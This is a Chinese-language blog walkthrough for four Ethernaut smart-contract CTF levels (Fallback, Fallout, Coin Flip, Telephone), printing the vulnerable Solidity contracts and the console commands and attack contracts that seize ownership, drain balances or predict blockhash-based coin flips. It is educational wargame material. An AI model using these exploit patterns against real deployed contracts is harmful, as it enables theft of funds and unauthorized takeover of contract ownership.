首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >智能合约:Ethernaut题解(二)

智能合约:Ethernaut题解(二)

作者头像
yichen
发布2020-05-25 11:31:35
7940
发布2020-05-25 11:31:35
举报
Fallback

通关条件:

获得合约的所有权

把余额减少成 0

pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback is Ownable {
  //Fallback合约继承自Ownable合约
  using SafeMath for uint256;
  mapping(address => uint) public contributions;
    //通过映射,可以使用地址获取贡献的值
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }//构造函数设置合约创建者的贡献值为1000以太币
  function contribute() public payable {
    require(msg.value < 0.001 ether);//每次贡献的值小于0.001以太币
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);//累计起来
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }//当你贡献的值大于1000的时候就你成为合约所有者
  }
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }//获取你的贡献值
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }//onlyOwner修饰,所以只有合约所有者才能用来提款
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);//判断金额与贡献值是否大于零
    owner = msg.sender;//msg.sender就是调用者,也就是我们
    //执行这一条语句owner就成了我们
  }
}

思路:首先贡献一点金额,来通过 require 触发 fallback 函数,来成为合约的所有者,然后 withdraw 函数转走合约中的所有钱

贡献金额

contract.contribute({value:1})

这个 1 代表 1 wei,是以太币最小的单位

查看一下合约中的余额

await getBalance(instance)

await contract.owner() 先看一下合约所有者

补充触发 fallback 函数的条件:

  • 当调用一个不存在的函数的时候
  • 发送没有数据的纯 ether 时

所以我们可以通过

await contract.sendTransaction({value:1})

来发送触发 fallback 函数

这时候合约所有者就是我们了

现在我们已经是合约的所有者了,可以调用那个 withdraw 函数来提现了

一开始合约中有 0.000...00002

执行 contract.withdraw() 之后合约里没钱了

目标完成,提交,通过!

Fallout

目标:获得合约所有权

pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  //这个public的函数并不是构造函数(l与1)...直接调用就可以了
  function Fal1out() public payable {
    owner = msg.sender;//这条语句就能让我们成为合约所有者
    allocations[owner] = msg.value;
  }
  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }
  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }
  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }
  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

先看一下一开始合约的所有者,直接调用 Fal1out() 函数,再看一下

Coin Flip

猜硬币游戏

目标:连续猜对十次

pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
  using SafeMath for uint256;
  uint256 public consecutiveWins;//连胜次数
  uint256 lastHash;//上一个hash
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    //这个数是2^255
  function CoinFlip() public {
    consecutiveWins = 0;
  }//构造函数,每次开始把赢的次数归零
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
        //blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
    if (lastHash == blockValue) {
      revert();//如果最后的hash等于计算出来的
    }//中止执行并将所做的更改还原为执行前状态
    lastHash = blockValue;//改成上个区块的hash值为这个区块的
    uint256 coinFlip = blockValue.div(FACTOR);
    //coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
    //因为除法运算会取整,所以coinFlip由blockValue的最高位决定
    bool side = coinFlip == 1 ? true : false;
    if (side == _guess) {
      consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
      return true;
    } else {
      consecutiveWins = 0;//否则归零
      return false;
    }
  }
}

首先获取一个实例,然后拿到合约的地址以及 consecutiveWins 的值

我们来考虑一下,应该怎么实现攻击,首先,我们已经知道他的算法是怎么样的了,而且它用来计算的东西我们同样可以找到,所以,我们完全可以先进行计算,把结果在给他发过去就好啦

exp 如下,把 exp 代码复制到 remix IDE 中,部署 exploit 合约(要用之前得到的那个合约地址)

pragma solidity ^0.4.18;
import './SafeMath.sol';
contract CoinFlip {
  using SafeMath for uint256;
  uint256 public consecutiveWins;//连胜次数
  uint256 lastHash;//上一个hash
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    //这个数是2^255
  function CoinFlip() public {
    consecutiveWins = 0;
  }//构造函数,每次开始把赢的次数归零
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
        //blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
    if (lastHash == blockValue) {
      revert();//如果最后的hash等于计算出来的
    }//中止执行并将所做的更改还原为执行前状态
    lastHash = blockValue;//改成上个区块的hash值为这个区块的
    uint256 coinFlip = blockValue.div(FACTOR);
    //coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
    //因为除法运算会取整,所以coinFlip由blockValue的最高位决定
    bool side = coinFlip == 1 ? true : false;
    if (side == _guess) {
      consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
      return true;
    } else {
      consecutiveWins = 0;//否则归零
      return false;
    }
  }
}
contract attack{
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip expFlip = CoinFlip(0xaf32f2862fb9b6f7dfe113122cd6891f8f81acb9);
  //这表示已经有一个CoinFlip合约部署在了这个地址
    function pwn(){
         uint256 blockValue = uint256(block.blockhash(block.number-1));
          uint256 coinFlip = blockValue /FACTOR;
          bool side = coinFlip == 1 ? true : false;
          expFlip.flip(side);
    }
}

这里也贴一下 SafeMath.sol

//SafeMath.sol
pragma solidity ^0.4.18;
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

首先,生成题目实例,复制题目合约的地址

使用 http://remix.ethereum.org 部署我们的 attack 合约,把题目合约地址复制给他的构造函数,然后 Deploy 部署

点击 pwn 来攻击

在题目的控制台看一下连胜次数,直到 c 的值成了 10,就可以点击橙色提交啦

成功!

Telephone

目标:获得合约所有权

pragma solidity ^0.4.18;
contract Telephone {
  address public owner;
  function Telephone() public {
    owner = msg.sender;
  }//构造函数,部署的人是合约的所有者
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
  }
}

画个图了解一下 tx.origin 与 msg.sender 的区别

(这些叫法是对于最右边的那个来说的)

很明显,想要让 tx.origin 跟 msg.sender 不同,我们只需要部署一个合约,通过这个合约去调用题目合约的 changeOwner 就可以啦

首先 await contract.owner() 看一下现在合约的所有者

exp 如下:

pragma solidity ^0.4.18;
contract Telephone {
  address public owner;
  function Telephone() public {
    owner = msg.sender;
  }//构造函数,部署的人是合约的所有者
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
  }
}
contract attack{
  Telephone hacked = Telephone(0xad9337ea22bcb2b93e7a4b73b02aba243fa0a229);
    function pwn{
    hacked.changeOwner(msg.sender);
    //这个参数msg.sender是调用pwn函数的调用者,也就是我们的地址,也就是tx.origin
    //但是对于题目合约来说,msg.sender却是调用它的我们部署的attack合约的地址
  }
}

部署之后,点击 hack 就可以啦

再看一下,合约所有者已经变了

提交就好啦

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档